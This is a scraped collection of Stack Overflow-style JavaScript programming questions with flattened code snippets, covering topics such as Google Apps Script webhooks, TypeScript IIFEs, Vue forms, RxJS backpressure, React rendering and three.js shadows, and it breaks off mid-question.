, so I could get the content of all 4 answers in a single response ? Thanks ! Current code : The Form : The Bot Response function postToRoom ( e ) { var formResponses = FormApp.getActiveForm ( ) .getResponses ( ) ; var formResponse = formResponses [ formResponses.length-1 ] ; var itemResponses = formResponse.getItemResponses ( ) ; for ( var j = 0 ; j < itemResponses.length ; j++ ) { var itemResponse = itemResponses [ j ] ; var options , options , url ; url = PropertiesService.getScriptProperties ( ) .getProperty ( 'WEBHOOK_URL ' ) ; if ( url ) { try { payload = { `` cards '' : [ { `` header '' : { `` title '' : `` There is a new request ! `` , `` imageUrl '' : `` https : //images.emojiterra.com/google/android-10/128px/1f916.png '' , `` imageStyle '' : `` IMAGE '' , } , `` sections '' : [ { `` widgets '' : [ { `` textParagraph '' : { `` text '' : ' < b > '+ ( itemResponse.getItem ( ) .getTitle ( ) + ' ' + itemResponse.getResponse ( ) ) ' , } } ] } , { `` widgets '' : [ { `` buttons '' : [ { `` textButton '' : { `` text '' : `` GO TO RESPONSE '' , `` onClick '' : { `` openLink '' : { `` url '' : e.response.getEditResponseUrl ( ) } } } } , { `` textButton '' : { `` text '' : `` GO TO FORM '' , `` onClick '' : { `` openLink '' : { `` url '' : FormApp.getActiveForm ( ) .getEditUrl ( ) } } } } ] } ] } ] } ] } options = { 'method ' : 'post ' , 'contentType ' : 'application/json ; charset=UTF-8 ' , 'payload ' : JSON.stringify ( payload ) } ; UrlFetchApp.fetch ( url , options ) ; } catch ( err ) { Logger.log ( 'FormBot : Error processing Bot . ' + err.message ) ; } } else { Logger.log ( 'FormBot : No Webhook URL specified for Bot ' ) ; } }",Google Forms / Apps Script / Hangouts Chat - Bot message content sending individually instead of together "JS : I think this is a common scenario - I have a view where I use HtmlHelper to generate some HTML elements , I also have a helper extension that lets me get the generated element 's ID , so that I can use it in JavaScript ( e.g. , jQuery ) : Or when doing Ajax I 'm building the URL string from the UrlHelper , again using server side code to put some client side stuff on the page : That part is easy . I know how to do this and I know I can put this code in a partial and render the partial view where I want the code to show up . This is not what I want to ask about.Code contained within the page markup is not cached , that 's one thing . The other thing is that sometimes I need the same bit of code on several views and I would like to keep it in a single place for maintenance . Single place could be a partial view - but I want this code to be cached , ideally it would land in a .js file . However we can not use server side code in .js files . The keywords are cacheable and single file.I also know that I can have a JSController which would serve the JavaScript , for example : This controller action could return JavaScript as a result of a view rendering.Or maybe I should stop being paranoid and just use normal .js files and put the element IDs and URLs there and if I ever update my view models or views , I 'd go and update the .js files . I wonder whether this is an over engineering issue with .NET - I 'd be interested to know how people do this in Rails or django . So what I am really looking for are some `` best practice '' strategies . What do you do most often ? How do you tackle with this problem ? $ ( ' # @ Html.FieldIdFor ( model = > model.Name ) ' ) .autocomplete ( { $ .get ( ' @ Url.Action ( `` States '' , `` Location '' ) ' , { country : $ ( this ) .val ( ) } , function ( json ) { < script src= '' @ Url.Action ( `` Script '' , `` JS '' , { script = `` location '' } ) type= '' text/javascript '' > < /script >",Please suggest a strategy for serving JavaScript containing server side code "JS : Here is a TypeScript class : It is transpiled to IIFE when TS targets ES5 : However , it generally works in the same way when it is presented as a constructor function . Which , of course , looks more JavaScriptish and handwritten : ) Usage : Both blocks of code work in the same way : What is the benefit or motives to pack it in IIFE ? I made a naive benchmark : It showed virtually the same instantiation speed . Of course , we can not expect any difference , because the IIFE is resolved only once.I was thinking that maybe it is because of closure , but the IIFE does n't take arguments . It must not be a closure . class Greeter { public static what ( ) : string { return `` Greater '' ; } public subject : string ; constructor ( subject : string ) { this.subject = subject ; } public greet ( ) : string { return `` Hello , `` + this.subject ; } } var Greeter = /** @ class */ ( function ( ) { function Greeter ( subject ) { this.subject = subject ; } Greeter.what = function ( ) { return `` Greater '' ; } ; Greeter.prototype.greet = function ( ) { return `` Hello , `` + this.subject ; } ; return Greeter ; } ( ) ) ; function Greeter ( subject ) { this.subject = subject ; } Greeter.what = function ( ) { return `` Greater '' ; } ; Greeter.prototype.greet = function ( ) { return `` Hello , `` + this.subject ; } ; Greater.what ( ) ; // - > `` Greater '' var greater = new Greater ( `` World ! `` ) ; greater.greet ( ) ; // - > `` Hello , World ! console.time ( `` Greeter '' ) ; for ( let i = 0 ; i < 100000000 ; i++ ) { new Greeter ( `` world '' + i ) ; } console.timeEnd ( `` Greeter '' ) ;",Why does TypeScript pack a class in an IIFE ? "JS : In order to pass data between windows , I open new windows via the window.open method and set a property of the newly opened window to an object . This allows me not only to pass data , but to share the instance of the variable , meaning if I modify the object , or any of its derived properties , on one window , it modifies it on all windows.The problem , however , is something is going very funny with the instanceof operator.When I doThe first line returns `` object '' while the second one returns false.I specifically need the instanceof operator to check between arrays and objects.Here is a fiddle of an example ( WARNING : tries to open a window on page load , so a popup blocker might block it ) . http : //jsfiddle.net/Chakra/mxf2P/1/ typeof mm instanceof Object",instanceof operator fails when passing an object through windows "JS : A reference to another question saw in the stack overflow.I checked for a solution like this but have n't succeeded yet.My vue js code for the same isIf I try this code . I need to select working hours separately for each day I am selecting . Rather I need to choose a time first and hence use that working hour for all the days I am choosing . Also , give an edit option if the user needs to change time . A solution to this problem has given there , but it is not based on the code given above.Is it possible to have a solution as such ? Select a working hour at first and then use it for all the days selecting ie . checkbox , and change values if needed.Just for experimenting purpose . If it is possible please help me . < div class= '' form-group '' > < label > Working Hours : < /label > < div v-for= '' value in day '' class= '' checkboxFour '' < input type= '' checkbox '' id= '' need '' value= '' value.val '' v-model= '' value.selected '' style= '' width : 10 % ! important ; '' > < p > FROM < /p > < label for= '' need '' style= '' width : 20 % ! important ; '' > { { value.name } } < /label > < input id= '' value.from '' type= '' time '' v-model= '' value.from '' name= '' value.from '' style= '' width : 30 % ! important ; '' > < p > TO < /p > < input id= '' value.to '' type= '' time '' v-model= '' value.to '' name= '' value.to '' style= '' width : 30 % ! important ; '' > < br > < /div > < /div > work = new Vue ( { el : `` # work '' , data : { data : [ ] , day : [ { name : '' Sunday '' , val:1 } , { name : '' Monday '' , val:2 } , { name : '' Tuesday '' , val:3 } , { name : '' Wednesday '' , val:4 } , { name : '' Thursday '' , val:5 } , { name : '' Friday '' , val:6 } , { name : '' Saturday '' , val:7 } ] , string : '' , } , methods : { wrkSubmit : function ( e ) { var arr = [ ] ; this.day.map ( function ( v , i ) { console.log ( v.selected == true ) ; if ( v.selected == true ) { arr.push ( v.val+ ' & '+v.from+ ' & '+v.to ) ; } } ) ; this.string = arr.join ( ' , ' ) ; var vm = this ; data = { } ; data [ 'wrk_list ' ] = this.string ; $ .ajax ( { url : 'http : //127.0.0.1:8000/add/workhour/ ' , data : data , type : `` POST '' , dataType : 'json ' , success : function ( e ) { if ( e.status ) { alert ( `` Success '' ) } else { alert ( `` Failed '' ) } } } ) ; return false ; } , }",Working hours selection ? "JS : If JavaScript 's Number and C # 's double are specified the same ( IEEE 754 ) , why are numbers with many significant digits handled differently ? I am not concerned with the fact that IEEE 754 can not represent the number 1234123412341234123 . I am concerned with the fact that the two implementations do not act the same for numbers that can not be represented with full precision . This may be because IEEE 754 is under specified , one or both implementations are faulty or that they implement different variants of IEEE 754 . This problem is not related to problems with floating point output formatting in C # . I 'm outputting 64-bit integers . Consider the following : long x = 1234123412341234123 ; Console.WriteLine ( x ) ; // Prints 1234123412341234123 double y = 1234123412341234123 ; x = Convert.ToInt64 ( y ) ; Console.WriteLine ( x ) ; // Prints 1234123412341234176The same variable prints different strings because the values are different . var x = ( long ) 1234123412341234123.0 ; // 1234123412341234176 - C # var x = 1234123412341234123.0 ; // 1234123412341234200 - JavaScript",Why are numbers with many significant digits handled differently in C # and JavaScript ? "JS : I saw some code here that had these variable declarations : According to a comment on the page , this is to improve minification , but I could n't figure out how . Can someone tell me ? Thanks . var equestAnimationFrame = 'equestAnimationFrame ' , requestAnimationFrame = ' r ' + equestAnimationFrame , ancelAnimationFrame = 'ancelAnimationFrame ' , cancelAnimationFrame = ' c ' + ancelAnimationFrame",How does this code optimize minification ? "JS : I am trying to replace specific highlighted ( marked ) text from element.This is how I get the highlighted text so far : So if I have something like this in the textarea : `` apple banana apple orange '' and mark the third word ( apple ) I want to replace exactly what I have marked without any other occurrences of `` apple '' in the textarea.Is there a way to specify the start and end area where the code should look for replacement in the string ? var markArea = $ ( '.ElementText textarea ' ) .get ( 0 ) ; var text = markArea.value.substring ( markArea.selectionStart , markArea.selectionEnd ) ;",jQuery replace marked text "JS : By definition , a Pure Function is pure if : Given the same input , will always return the same output . Produces no side effects . Relies on no external state.So this is a pure function : And this would be a pure function as well ( in JavaScript context ) The question : if we combine these 2 pure function , would it still be considered as a pure function ? Obviously , it still always return the same output given the same input without side effects , but does calling a function from other context ( scope ) break the law for `` Relies on no external state '' ? function foo ( x ) { return x * 2 ; } foo ( 1 ) // 2foo ( 2 ) // 4foo ( 3 ) // 6 Math.floor ( x ) ; Math.floor ( 1.1 ) ; // 1Math.floor ( 1.2 ) ; // 1Math.floor ( 2.2 ) ; // 2 // Nested with Math libraryfunction bar ( x ) { return Math.floor ( x ) ; } // Nested even deeperfunction foobar ( x ) { return foo ( Math.floor ( x ) ) ; }",Is a nested pure function still a pure function ? "JS : Imagine I have 3 classes Child , Parent and Grandparent connected in hierarchy as follows : How can I call Grandparent 's setter of myField in setter of Child class ? I 'm interested particularly in setter , not a method . Also it 's much preferable to not make changes in Parent of Grandparent classes.I do n't see how that is possible using super because it references just Parent class , as well as using something like Grandparent.prototype. < what ? > .call ( this , ... ) because I do n't know what exactly to call in the prototype.Does anyone have any suggestions for this case ? Thanks in advance ! class Grandparent { set myField ( value ) { console.log ( 'Grandparent setter ' ) ; } } class Parent extends Grandparent { set myField ( value ) { console.log ( 'Parent setter ' ) ; } } class Child extends Parent { set myField ( value ) { //I know how to call Parent 's setter of myField : //super.myField = value ; //But how to call Grandparent 's setter of myField here ? } }",How to call setter of grandparent class in Javascript "JS : Steps to reproduce the issue : The user visits the webpage , see the code below.The user closes Chrome.The device goes completely offline ( turn all networking off manually ) .The user re-opens the browser while completely offline.Chrome automatically serves the last visited page , a saved copy of the webpage which says Online ? true , even after hitting refresh several times.The only thing that tells the user that she/he is looking at some stale , completely unusable copy of the web page is this in the address bar : Non-technical users can easily miss that , and are left wondering why the page is unusable ... This is bad user experience.Browser & device : Chrome 81 on Android 6 on an Acer Iconia Tab 10 A3-40 tablet . The webpage is served over HTTPS ( secure connection ) .Code : As far as I can tell : Chrome does not re-run any JavaScript in Step 5 , even after hitting refresh . Chrome does not respect the Cache-Control : private , no-store either ; double-checked.So far , the only way I could prevent this from happening is to register a service worker . When I have a service worker registered , the JavaScript is re-run and I can properly and clearly inform the user that she/he is offline.Without a service worker , how can I prevent Chrome from loading a stale , unusable webpage when offline ? The usual `` No internet '' page with the dinosaur is appropriate , and that 's what I was expecting with Cache-Control : no-store . const setMsg = ( flag ) = > { const p = document.getElementById ( 'msg ' ) p.innerHTML = ' < b > Online ? < /b > ' + flag } setMsg ( navigator.onLine ) window.addEventListener ( `` online '' , ( ) = > { setMsg ( true ) } ) window.addEventListener ( `` offline '' , ( ) = > { setMsg ( false ) } ) < p id='msg ' > < /p >",How can I prevent Chrome from loading a cached webpage when offline ? "JS : So I 'm a fairly decent javascript programmer and I 've just recently finished working on a fairly big web application that involved writing quite a bit of javascript . One of the things I can across when I was debugging my script was that there were some namespace conflicts with my various global variables I used throughout my script . Essentially , my javascript file was structured as such : with a jQuery document on-ready function to bind various events to buttons in my html and call my functions as event handler callbacks.Some people recommended encapsulating my entire script in one gigantic function to prevent any scope-related errors . I could n't quite figure out exactly what that would entail . Any tips are appreciated as I am about to create another web app that will involve quite a bit of AJAX page loads to avoid browser refreshes and DOM manipulation bound to various events . Thanks ! global var aglobal var bglobal var cfunction1 ( ) { } function2 ( ) { } function3 ( ) { }",Tips for an intermediate javascript programmer to write better code "JS : I have this array : I 'm trying to sort ONLY the elements that are odd values so I want this output : As you can see the even elements do n't change their position . Can anyone tell me what I 'm missing ? Here 's my code : I know I can use slice to add elements to array , but I 'm stuck on how to get the indexes and put the elements in the array . var arr = [ 5 , 3 , 2 , 8 , 1 , 4 ] ; [ 1 , 3 , 2 , 8 , 5 , 4 ] function myFunction ( array ) { var oddElements = array.reduce ( ( arr , val , index ) = > { if ( val % 2 ! == 0 ) { arr.push ( val ) ; } return arr.sort ( ) ; } , [ ] ) ; return oddElements ; } console.log ( myFunction ( [ 5 , 3 , 2 , 8 , 1 , 4 ] ) ) ;",How to sort elements in array without changing other elements indexes ? "JS : I need to make an image viewer that allows large images to be loaded into a container and then dragged within the container so that the entire image is viewable but the image is never dragged out of bounds . The below code works perfectly except the scrollbars are not accurately synchronizing with the position of the dragged image and allow the image to be scrolled out of bounds . How can I synchronize the scroll bars with the image while it is being dragged ? Edit : Here is a working example < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < title > < /title > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js '' > < /script > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js '' > < /script > < style > .container { margin : auto ; cursor : move ; width : 80 % ; position : relative ; min-width:885px ; } # screen { overflow : auto ; width : 80 % ; height : 600px ; clear : both ; border : 1px solid black ; background-color : # CCCCCC ; float : left ; margin-right : 15px ; } < /style > < /head > < body > < div class= '' container '' > < div id= '' screen '' > < img class= '' drag-image '' id= '' draggable '' / > < /div > < /div > < /body > < /html > < script type= '' text/javascript '' > $ ( function ( ) { $ ( ' # draggable ' ) .attr ( 'src ' , 'http : //i.imgur.com/uPjIz.jpg ' ) .load ( function ( ) { CreateDraggablePicture ( ) ; } ) ; } ) ; function CreateDraggablePicture ( ) { var x = ( $ ( ' # draggable ' ) .width ( ) - $ ( ' # screen ' ) .width ( ) - $ ( ' # screen ' ) .offset ( ) .left ) * -1 ; var y = ( $ ( ' # draggable ' ) .height ( ) - $ ( ' # screen ' ) .height ( ) - $ ( ' # screen ' ) .offset ( ) .top ) * -1 ; var x2 = $ ( ' # screen ' ) .offset ( ) .left ; var y2 = $ ( ' # screen ' ) .offset ( ) .top ; $ ( `` # draggable '' ) .draggable ( { containment : [ x , y , x2 , y2 ] , scroll : true } ) ; } < /script >",Jquery Draggable not positioning scrollbars properly "JS : Here is a lisp procedure that simply adds ' a ' to the absolute value of ' b ' : I think this is beautiful , and I am trying to find the best way of writing this in JavaScript . But my JavaScript code is not beautiful : The main problem is that I can not use the + and - symbols as references to the functions they really represent as I can with lisp . Can anyone come up with a more graceful way of doing something like this , or have I hit a language boundary ? Obviously , I can do this : , but this is more of a thought experiment than a pragmatic question . Is there any way I can get reference to the core functions in the JavaScript language just as if they were user-defined ? ( define ( a-plus-abs-b a b ) ( ( if ( > b 0 ) + - ) a b ) ) var plus = function ( a , b ) { return a + b ; } ; var minus = function ( a , b ) { return a - b ; } ; var aPlusAbsB = function ( a , b ) { return ( b > 0 ? plus : minus ) ( a , b ) ; } var aPlusAbsB = function ( a , b ) { return a + Math.abs ( b ) ; }",Getting reference to the JavaScript Function object behind an operator "JS : Warning : creating extensions to native object and/or properties is considered bad form , and is bound to cause problems . Do not use this if it is for code that you are not using solely for you , or if you do n't know how to use it properly I know you can use Object , String , Number , Boolean , etc . to define a method , something like this : But what I need to be able to do is use that on any value , and access the value in the function.I googled , and looked here , but could n't find anything suitable . 2/18/15 Edit : Is there any workaround to having this be a property of any Object if I use Object.prototype ? Per Request , here is the current function that is used for isString ( ) Following on a few answers , I have come up with some code and errors caused by it . String.prototype.myFunction = function ( ) { return this ; } //only works on strings . function isString ( ins ) { return typeof ins === `` string '' ; } Object.prototype.isString = function ( ) { return typeof this === `` string '' ; } '' 5 '' .isString ( ) //returns false '' '' .isString ( ) //returns falsevar str = `` string '' str.isString ( ) //returns false",How to make a method that can affect any value type ? "JS : I have a form in django . it 's 'composing mail ' form . I send this form from view to my template and i apply ckeditor to chang the body style . i want this form to be posted by ajax . and when ckeditor is used , value of body field is n't send with request.POST . i use this line of code to use ckeditor : ( without using ckeditor , every thing works fine . ) and i use this script to send form data via ajax : with this script , body value is n't send to request.POST ( i mean it sends empty string in body field ) , when i add the below line to my script , it sends value of body field , but it is n't ajax any more . Can you please help me what to do ? CKEDITOR.replace ( 'id_body ' ) ; < form id= '' compose_form '' action= '' compose/ '' method= '' post '' > { % csrf_token % } { { form.non_field_errors } } < div > < div class= '' form-field '' > < label for= '' id_recipient '' > { % trans 'recipient ' % } : < /label > { { form.recipient } } { { form.recipient.errors } } < /div > < div class= '' form-field '' > < label for= '' id_subject '' > { % trans 'subject ' % } : < /label > { { form.subject } } { { form.subject.errors } } < /div > < /div > < div class= '' form-field '' > { { form.body } } { { form.body.errors } } < /div > < input id= '' messages-submit '' type= '' submit '' value= '' '' Send '' / > < /div > < /form > < script type= '' text/javascript '' > $ ( function ( ) { $ ( ' # compose_form ' ) .submit ( function ( ) { var temp = $ ( `` # compose_form '' ) .serialize ( ) ; $ .ajax ( { type : `` POST '' , data : temp , url : 'compose/ ' , success : function ( data ) { // do s.th } } ) ; return false ; } ) ; } ) ; < /script >",how to send data with ajax using ckeditore ? JS : There is an element with id looking like the following : where 123456 is an arbitrary number which is unknown . How do I find this element by id ? some_id_123456_some_id_id_id,Find an element by not exact id JS : Possible Duplicate : JavaScript function aliasing does n't seem to work Why does n't this work ? This error is thrown in Chrome : Uncaught TypeError : Illegal invocation ... and in Firefox : Error : uncaught exception : [ Exception ... `` Illegal operation on WrappedNative prototype object '' It works in IE9 beta though ! ! Demo : http : //jsfiddle.net/ugBpc/ function foo ( ) { var g = document.getElementById ; g ( 'sampleID ' ) ; },JavaScript : Referencing host function via local variable "JS : tl ; dr ; I need to communicate state which several services need and originates in data bound to the scope of a controller . What would a good and 'Angular zen ' way to do so ? Back storyI 'm developing a single page application and after much thought have decided to use AngularJS . The pages are laid out in a way similar to : The actual layout does n't matter much , the concept remains the same for similar layouts.I need to communicate information that is bound to the scope of SettingsController to the services the controllers in the ngView require . I also need to update the content obtained from the service in the controller when the users make a modification to any slider . What I 've triedThe only way I 've thought of is something like : http : //jsfiddle.net/5sNcG/ where I have to write a binding myself and add listeners to the scope changing . I 'm probably way off here and there is an obvious 'Angular ' way of doing this - however despite my efforts I 'm unable to find it.I 've also considered $ rootScope broadcasts but that just seems like more global stateNo matter what I try , I have a singleton with global state and we all know I do n't want a singleton . Since this seems like a fairly common Angular use case . What 's what 's the idiomatic way to solve this problem ? /code from fiddle.var app = angular.module ( `` myApp '' , [ ] ) ; app.controller ( `` HomeCtrl '' , function ( $ scope , FooService , $ interval ) { FooService.change ( function ( ) { console.log ( `` HI '' , FooService.getFoo ( ) ) ; $ scope.foo = FooService.getFoo ( ) ; } ) ; } ) ; app.factory ( `` Configuration '' , function ( ) { var config = { data : 'lol ' } ; var callbacks = [ ] ; return { list : function ( ) { return config ; } , update : function ( ) { callbacks.forEach ( function ( x ) { x ( ) ; } ) ; } , change : function ( fn ) { callbacks.push ( fn ) ; // I never remove these , so this is a memory leak ! } } } ) ; app.service ( `` FooService '' , function ( Configuration ) { return { getFoo : function ( ) { return Configuration.list ( ) .data+ '' bar '' ; } , change : function ( fn ) { Configuration.change ( fn ) ; } } } ) ; app.controller ( `` SettingsCtrl '' , function ( $ scope , Configuration ) { $ scope.config = Configuration.list ( ) ; $ scope. $ watch ( 'config ' , function ( ) { Configuration.update ( ) ; } , true ) ; } ) ;",How can I communicate a settings object from a controller to services ? "JS : HTML : myjs.js : For some reason , x is ending up as `` default val '' and not `` overriden '' , even tho initially I 'm setting it to `` overriden '' before I even include the script reference to myjs.js.Any idea as to why this is happening ? I 'm trying to enable the hosting page to set an override for a variable that 's used in an included js file , otherwise use the default val . < script type= '' text/javascript '' > var x = `` overriden '' ; < /script > < script src= '' myjs.js '' > < /script > $ ( document ) .ready ( function ( ) { var x = x || `` default val '' ; alert ( x ) ; // this alerts `` default val '' and not `` overriden '' } ) ;",var x = x || `` default val '' not getting set properly if x is defined above it "JS : I am working on a node project that needs to submit thousands of images for processing . Before these images are uploaded to the processing server they need to be resized so I have something along the lines of this : Image resizing typically takes a few tenths of a second , uploading and processing takes around 4 seconds.How can I prevent thousands of resized images building up in memory as I wait for the upload queue to clear ? I probably want to have 5 images resized and waiting to go so that as soon as an image upload finishes the next resized image is pulled from the queue and uploaded and a new image is resized and added to the 'buffer'.An illustration of the issue can be found here : https : //jsbin.com/webaleduka/4/edit ? js , consoleHere there is a load step ( taking 200ms ) and a process step ( taking 4 seconds ) . Each process is limited to a concurrency of 2.We can see that with 25 initial items we get to 20 images in memory.I did look at the buffer options but neither seemed to do what I wanted to do.At the moment I have just combined the load , resize and upload into one deferred observable that I merge with a max concurrency . I would like to have the images waiting for upload though and I am sure that it must be possible.I am using RXjs 4 but I imagine the principals will be the same for 5.Many Thanks . imageList .map ( image = > loadAndResizeImage ) .merge ( 3 ) .map ( image = > uploadImage ) .merge ( 3 ) .subscribe ( ) ;",Understanding back-pressure in rxjs - only cache 5 images waiting for upload "JS : I have this simple bit of code hereEvery time I click the button , I get 2 logs in my console indicating that the component renders twice . I found one post saying this is about strict mode , but I have not enabled strict mode . Why is this component rendering twice on each state update ? Here is a codesandbox link to try it out . import React , { useState } from `` react '' ; import `` ./styles.css '' ; export default function App ( ) { const [ number , setNumber ] = useState ( 0 ) ; function chaneNumber ( ) { setNumber ( state = > state + 1 ) ; } console.log ( `` here '' ) ; return ( < div className= '' App '' > < button onClick= { chaneNumber } > Change number < /button > { number } < /div > ) ; }",Why does useState cause the component to render twice on each update ? "JS : I am reading the book `` JavaScript-The Good Parts '' , in chapter 4.14 Curry , the book gives the following example : I have two questions on this code : There are two places using 'arguments ' . In the method invoking in the last two lines code , is it so that ' 1 ' goes to the 1st-arguments and ' 6 ' goes to the 2nd-arguments ? There is a line of code apply ( null , args.concat ( slice.apply ( arguments ) ) ) , why does it apply ( null , ... ) here ? , what is the sense to apply a argument to a null object ? Function.method ( 'curry ' , function ( ) { var slice = Array.prototype.slice , args = slice.apply ( arguments ) , //1st-arguments that=this ; return function ( ) { return that.apply ( null , args.concat ( slice.apply ( arguments ) ) ) ; //2nd-arguments } } ) var add1=add.curry ( 1 ) ; document.writeln ( add1 ( 6 ) ) ; // 7","javascript 'curry ' , need some explanations on this code" "JS : I have a case where I am using a jquery ui dialog and I have any html table in the dialog where the dialog is fixed height : I call an AJAX query from a button click and I want to use jquery UI blockUI plugin to show a `` loading '' message . Something like this : The issue I have is that the content in the dialog is longer than the height of the dialog and I given the dialog is FIXED height so that causes the dialog to have a vertical scroll bar . Having the scroll bar is fine ( that 's actually what I want ) but the knock on effect is that because of that depending if the user has scrolled down or not , the blockUI message is not centered ( or even visible on the screen ) vertically . Question : Is there anyway I can detect what is visible areas inside a dialog that has a vertical scroll bar to vertically align the block message properly ? Above as you can see its hard coded to be 200px from the top so it works great if the user has n't scrolled down but you ca n't see the message if the user has scrolled down the whole wayIn short , if i am at the top of the scroll , then i would have this : if i am at the bottom of the scroll , then i would want this : $ ( `` # modalDialogContainer '' ) .dialog ( { resizable : false , height : 700 , autoOpen : false , width : 1050 , modal : true , $ ( `` # myTableInsideDialog '' ) .block ( { css : { top : '200px ' , bottom : `` '' , left : `` } , centerY : false , baseZ : 2000 , message : $ ( `` # SavingMessage '' ) } ) ; $ ( `` # myTableInsideDialog '' ) .block ( { css : { top : '200px ' , bottom : `` '' , left : `` } , centerY : false , baseZ : 2000 , message : $ ( `` # SavingMessage '' ) } ) ; $ ( `` # myTableInsideDialog '' ) .block ( { css : { top : `` , bottom : `` 200px '' , left : `` } , centerY : false , baseZ : 2000 , message : $ ( `` # SavingMessage '' ) } ) ;",How to determine where the current visible vertical location inside a jquery dialog is ? "JS : In my Ember app I 'm using ember-inject-script which I installed : The controller.js file for my page looks like this : The Template is this : Yet I get a console error : Error while processing route : projects.index JitsiMeetExternalAPI is not defined ReferenceError : JitsiMeetExternalAPI is not defined npm install -- save-dev ember-inject-script import Ember from 'ember ' ; import injectScript from 'ember-inject-script ' ; export default Ember.Controller.extend ( { init : function ( ) { this._super ( ) ; var url = `` https : //meet.jit.si/external_api.js '' ; injectScript ( url ) ; var domain = `` meet.jit.si '' ; var room = `` JitsiMeetAPIExample '' ; var width = 700 ; var height = 700 ; var htmlElement = document.querySelector ( ' # meet ' ) ; var api = new JitsiMeetExternalAPI ( domain , room , width , height , htmlElement ) ; } } ) ; < h2 > Jitsi Meet < /h2 > < div id= '' meet '' > < /div > { { outlet } }",How do I use Jitsi Meet in an EmberJS app "JS : I am trying to create a simple snake game.jsfiddleThe problem Every time when I catch the food , the snake becomes longer but when you press the down or up key , it moves horizontally . Maybe a solutionThis is what I believe the solution could be : The snake should be an array ! Every time when the key is pressed , define the position of HEAD of snake and move the snake step by step , because it is an array . So the body follows the head . But in this case , I have no idea how to make an array from it.Maybe there are other solutions . Any helps would be appreciated ! ( function ( ) { var canvas = document.getElementById ( 'canvas ' ) , ctx = canvas.getContext ( '2d ' ) , x = 0 , y = 0 , speed = 2 ; x_move = speed , y_move = 0 , food_position_x = Math.floor ( Math.random ( ) * canvas.width / 10 ) * 10 , food_position_y = Math.floor ( Math.random ( ) * canvas.height / 10 ) * 10 , size_x = 10 ; function eat ( ) { console.log ( 'food_x : ' + food_position_x + ' x : ' + x + ' / food_y : ' + food_position_y + ' y : ' + y ) ; if ( Math.floor ( y / 10 ) * 10 == food_position_y & & Math.floor ( x / 10 ) *10 == food_position_x ) { size_x += 2 ; //throw new Error ( `` MATCH ! `` ) ; // This is not an error . Just trying to stop the script } } // Drawing function draw ( ) { eat ( ) ; requestAnimationFrame ( function ( ) { draw ( ) ; } ) ; // Draw the snake ctx.beginPath ( ) ; ctx.rect ( Math.floor ( x/10 ) *10 , Math.floor ( y/10 ) *10 , size_x , 10 ) ; ctx.clearRect ( 0 , 0 , canvas.width , canvas.height ) ; ctx.fillStyle = ' # ffffff ' ; ctx.fill ( ) ; ctx.closePath ( ) ; // Draw the food ctx.beginPath ( ) ; ctx.rect ( Math.floor ( food_position_x/10 ) *10 , Math.floor ( food_position_y/10 ) *10 , 10 , 10 ) ; ctx.fillStyle = `` blue '' ; ctx.fill ( ) ; ctx.closePath ( ) ; // Increase the value of x and y in order to animate x = x + x_move ; y = y + y_move ; } draw ( ) ; // Key Pressing document.addEventListener ( 'keydown ' , function ( event ) { switch ( event.keyCode ) { case 40 : // Moving down if ( x_move ! = 0 & & y_move ! = -1 ) { x_move = 0 ; y_move = speed ; } break ; case 39 : // Moving right if ( x_move ! = -1 & & y_move ! = 0 ) { x_move = speed ; y_move = 0 ; } break ; case 38 : // Moving top if ( x_move ! = 0 & & y_move ! = 1 ) { x_move = 0 ; y_move = -speed ; } break ; case 37 : // Moving left if ( x_move ! = 1 & & y_move ! = 0 ) { x_move = -speed ; y_move = 0 ; } break ; } } ) ; } ) ( ) ; canvas { background-color : # 000022 } < canvas id= '' canvas '' width= '' 400 '' height= '' 400 '' > < /canvas >",Snake moves horizontally "JS : This is more about Node.JS , which uses the V8 engine . This is the JavaScript engine that is also used for Google Chrome.I hear about V8 being really fast , not just for Node , but for browsers too . However , one thing I notice about JavaScript , is that types are not coded for variables.To accomplish this in Java , you would need an Object variable type for everything . This would be significantly less efficient in , for example , a for loop : My question is , how does V8 handle variable types ? Does it know that this i variable is always either an int or long ? ( I see this as unlikely beause , i++ has the ability to convert a long to a double . ) Or does V8 handle things in such a way that it does not matter ? I think some simple examples of what the JIT compiler would create would be useful . Both Java and JavaScript do have JIT compilers to convert code to C.I am not a C programmer , but I am curious to know how types are handled , and if Java is really more efficient in that area . ( yes , I know that I/O is going to be much more significant for most programs than type handling ) for ( var i = 0 ; i < array.length ; i++ ) { }",Does V8 detect int variables and handle them more efficiently ? "JS : I just want to wait for a process to finish , not want to make the function asynchronous.See the below code.I had to make getUserList asynchronous because there was an await keyword in the function . Therefore I also had to write like `` await UsersService.getUserList '' to execute the method and also I had to make the parent function asynchronous . That 's not what I want to do . import xr from 'xr ' //a package for http requestsclass UsersService { static async getUserList ( ) { const res = await xr.get ( 'http : //localhost/api/users ' ) return res.data } } export default UsersService import UsersService from './UsersService'class SomeClass { async someFunction ( ) { //async again ! ! const users = await UsersService.getUserList ( ) //await again ! ! } }",Why do I have to put async keyword to functions which have await keywords ? "JS : I mean , I use to have this widget : that check if jquery is on the hosted website ; else it load it and do some ajax/jsonp request . As suggested by this tutorial.Well , I 've noticed big trobules about CSS parents , integrate other jquery plugins ( like cycle ) and manage data between this `` interface '' and the ajax call.Why I should do it when I can use a sngle iframe ? I also noticed that , if I load jquery from widget.js , and ( of course ) i put it into the iframe ( so I can manage separate functions ) the library are taken from cache . So there is n't any overload.Is it good enough for you this approch ? Or I am missing somethings ? I also noticed that 90 % of widgets ( like FB , twitter , etc ) use this strategy ( with iframe ) . < script src= '' http : //www.mywebsite.com/widget/widget.js ? type=normal '' type= '' text/javascript '' > < /script > < div id= '' archie-container '' > < /div >",Why worry about make a pure javascript/jquery widget when I can load it into an iframe ? "JS : I have a scene with two collada objects and a directional light.The first collada is pretty much a plane , and the second one is made of multiple boxes.It appears that when the scene is rendered , some `` side '' shadows are really stripped , although the shadows casted on ground are pretty well rendered..As I was searching for an answer , I figured out it might be a problem with my collada , so I added a basic cube to the scene ( the big one above all ) , but it seems it has the same problem.Does anyone have a tip or know this problem already ? I 'm using the last three.js revision atm ( r71 ) , tested on Google Chrome and Mozilla Firefox ( MacOS ) .I already tried to tweak pretty much all the shadow* attributes of the directional light , except the ones related with shadowCascade ( which I do n't use ) .I also tested to tweak shadow-related renderer 's attributes.Here 's my light setup : My collada objects are kind of big , so are my shadowCamera bounds.My renderer setup : Here 's another view of the scene ( mostly showing my light setup ) .EDIT : Here 's a snippet : Thanks in advance . var directionalLight = new 